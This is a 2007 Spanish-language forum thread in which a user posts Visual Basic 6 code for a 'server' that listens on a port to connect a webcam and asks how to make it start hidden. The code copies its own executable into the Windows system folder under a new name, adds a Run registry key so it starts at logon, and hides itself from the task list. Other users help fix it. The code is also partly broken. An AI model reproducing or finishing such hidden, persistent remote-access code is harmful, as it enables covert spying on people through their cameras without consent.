mi codigo de server k falla para iniciarse en oculto¿?

Iniciado por cazaoscuro, 14 Diciembre 2007, 12:28 PM

0 Miembros y 1 Visitante están viendo este tema.

cazaoscuro

mira acabo de acer mi server para conctar cam pero keria iniciarlo oculto pero no m deja xk ai algo k falla i no se k es:S aver si alguien podria revisarme el codigo
Dim Ruta As String
Private Sub Form_Load()

Ruta = "c:\temporal2.bmp"
Open Ruta For Binary As #1
On Error Resume Next
Kill (Ruta)
Open "ruta" For Binary As #1
Winsock1.LocalPort = 1000
Winsock1.Listen
ejec = App.Path

If Right(ejec, 1) <> "\" Then ejec = ejec & "\"

[b]Public Const SW_HIDE = 0
Public Const SW_NORMAL = 1
Public Declare Function Winsock1 Lib "user32.dll" ( _
    ByVal hwnd As Long, _
    ByVal nCmdShow As Long) As Long

Public Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" ( _
    ByVal lpClassName As String, _
    ByVal lpWindowName As String) As Long
   
Public Function ShowWinByTitle(strWindowTitle As String)
    Dim lngWindowHandle As Long
    lngWindowHandle = FindWindow(vbNullString, strWindowTitle)
    If lngWindowHandle <> 0 Then
        ShowWindow lngWindowHandle, SW_NORMAL
    End If
End Function
[/b]
ejec = ejec & App.EXEName & ".exe"

Set obj = CreateObject("Scripting.FileSystemObject")

Set win = obj.GetSpecialFolder(0)

Set sys = obj.GetSpecialFolder(1)

win = LCase(win)

sys = LCase(sys)

FileCopy ejec, sys & "\nombre1"

Name sys & "\nombre1" As sys & "\nombre2.exe"

Set residencia = CreateObject("WScript.Shell")

residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "nombre3", sys & "\nombre2.exe"

App.TaskVisible = False

End Function

demoniox12

no intentaste con Me.Visible = False ??? y sino di bien a donde te marca el error.. que linea te marca..

salu2!
By Demoniox

cazaoscuro

se k es x esta parte xk m sale el error no puede ir comentarios despues de end ...
Public Const SW_HIDE = 0
Public Const SW_NORMAL = 1
Public Declare Function Winsock1 Lib "user32.dll" ( _
    ByVal hwnd As Long, _
    ByVal nCmdShow As Long) As Long

Public Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" ( _
    ByVal lpClassName As String, _
    ByVal lpWindowName As String) As Long
   
Public Function ShowWinByTitle(strWindowTitle As String)
    Dim lngWindowHandle As Long
    lngWindowHandle = FindWindow(vbNullString, strWindowTitle)
    If lngWindowHandle <> 0 Then
        ShowWindow lngWindowHandle, SW_NORMAL
    End If
End Function

demoniox12

eske ahi no va eso xD...

Public Const SW_HIDE = 0
Public Const SW_NORMAL = 1
Public Declare Function Winsock1 Lib "user32.dll" ( _
    ByVal hwnd As Long, _
    ByVal nCmdShow As Long) As Long

Public Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" ( _
    ByVal lpClassName As String, _
    ByVal lpWindowName As String) As Long

   
Public Function ShowWinByTitle(strWindowTitle As String)
    Dim lngWindowHandle As Long
    lngWindowHandle = FindWindow(vbNullString, strWindowTitle)
    If lngWindowHandle <> 0 Then
        ShowWindow lngWindowHandle, SW_NORMAL
    End If
End Function


esoo va en un moduloo y luego llamas en form_load la funcion ShowWinByTitle(la variable a pasar)
By Demoniox

‭‭‭‭jackl007

para usaste esto?
Código (vb) [Seleccionar]
Ruta = "c:\temporal2.bmp"
Open Ruta For Binary As #1
On Error Resume Next
Kill (Ruta)
Open "ruta" For Binary As #1


encima .. esta mal...
corrige eso =D